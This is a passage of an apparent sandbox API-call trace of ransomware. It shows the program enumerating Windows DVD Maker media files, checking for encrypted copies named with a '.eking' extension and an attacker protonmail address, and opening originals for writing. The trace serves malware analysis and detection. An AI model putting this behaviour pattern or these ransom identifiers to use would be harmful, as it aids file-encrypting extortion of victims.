0x1ec [0178.362] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=325322) returned 1 [0178.363] CloseHandle (hObject=0x1ec) returned 1 [0178.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0178.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0178.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.369] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=141214) returned 1 [0178.369] CloseHandle (hObject=0x1ec) returned 1 [0178.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0178.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0178.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.370] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=157214) returned 1 [0178.370] CloseHandle (hObject=0x1ec) returned 1 [0178.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0178.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0178.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.614] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=117214) returned 1 [0178.614] CloseHandle (hObject=0x1e4) returned 1 [0178.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0178.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0178.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.616] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=141214) returned 1 [0178.616] CloseHandle (hObject=0x1e4) returned 1 [0178.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0178.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0178.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.617] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=157292) returned 1 [0178.617] CloseHandle (hObject=0x1e4) returned 1 [0178.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0178.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0178.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.619] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=157292) returned 1 [0178.619] CloseHandle (hObject=0x1e4) returned 1 [0178.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0178.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0178.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.840] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=149292) returned 1 [0178.840] CloseHandle (hObject=0x1e8) returned 1 [0178.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0178.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0178.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.840] SetEvent (hEvent=0x174) returned 1 [0178.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.841] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=125292) returned 1 [0178.841] CloseHandle (hObject=0x1e8) returned 1 [0178.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0178.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0178.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.842] SetEvent (hEvent=0x174) returned 1 [0178.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.843] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=220) returned 1 [0178.843] CloseHandle (hObject=0x1e8) returned 1 [0178.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0178.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0178.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.844] SetEvent (hEvent=0x174) returned 1 [0178.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.845] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2922) returned 1 [0178.845] CloseHandle (hObject=0x1e8) returned 1 [0178.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0178.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0178.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.846] SetEvent (hEvent=0x174) returned 1 [0178.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0179.009] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3939) returned 1 [0179.009] CloseHandle (hObject=0x1e8) returned 1 [0179.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0179.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0179.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0179.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.010] SetEvent (hEvent=0x174) returned 1 [0179.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0179.011] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4503) returned 1 [0179.011] CloseHandle (hObject=0x1e8) returned 1 [0179.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0179.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0179.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0179.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.012] SetEvent (hEvent=0x174) returned 1 [0179.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0179.013] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4515) returned 1 [0179.014] CloseHandle (hObject=0x1e8) returned 1 [0179.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0179.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0179.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0179.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.015] SetEvent (hEvent=0x174) returned 1 [0179.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 